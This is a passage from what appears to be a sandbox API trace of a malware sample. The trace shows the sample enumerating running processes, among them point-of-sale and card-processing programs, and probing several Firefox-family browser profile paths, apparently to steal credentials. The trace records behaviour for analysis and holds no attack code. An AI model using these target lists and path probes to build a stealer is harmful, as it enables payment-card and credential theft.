th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0142.681] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0142.682] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0142.684] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0142.686] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0142.689] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0142.695] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0142.697] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0142.699] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0142.700] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0142.702] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0142.703] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually-so.exe")) returned 1 [0142.705] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0142.706] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinephoneterm.exe")) returned 1 [0142.710] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0142.712] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0142.713] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0142.715] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0142.716] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0142.718] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0142.734] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0142.735] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0142.737] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cardmovementsister.exe")) returned 1 [0142.738] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolelittle.exe")) returned 1 [0142.740] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="various-whose.exe")) returned 1 [0142.742] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0142.743] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x134c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.745] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.746] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0142.748] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0142.749] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0142.751] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 1 [0142.753] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0 [0142.754] CloseHandle (hObject=0x2f8) returned 1 [0142.754] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.754] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361428 [0142.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0143.094] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.176] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x75, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.177] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.179] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.180] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.181] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.183] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.184] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.185] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.187] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.188] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.190] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0143.191] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.192] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.194] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.195] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.197] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.198] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.199] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.201] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0143.205] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0143.206] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0143.208] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0143.209] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.210] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0143.211] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0143.330] CloseHandle (hObject=0x2f8) returned 1 [0143.330] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0143.334] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f42c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.343] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0143.343] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0143.343] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini" [0143.344] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0xffffffff [0143.344] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f424 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.344] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" [0143.344] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" [0143.344] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini" [0143.345] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\moonchild productions\\pale moon\\profiles.ini")) returned 0xffffffff [0143.345] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f41c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.345] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Waterfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" [0143.345] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" [0143.345] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini" [0143.345] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\waterfox\\profiles.ini")) returned 0xffffffff [0143.346] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f414 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.346] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\8pecxstudios\\Cyberfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" [0143.346] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" [0143.346] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini" [0143.346] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles.ini")) returned 0xffffffff [0143.347] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f40c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0143.347] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\NETGATE Technologies\\BlackHawk\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" [0143.347] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" [0143.347] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\", lpString2="..\\profiles.ini" | out: 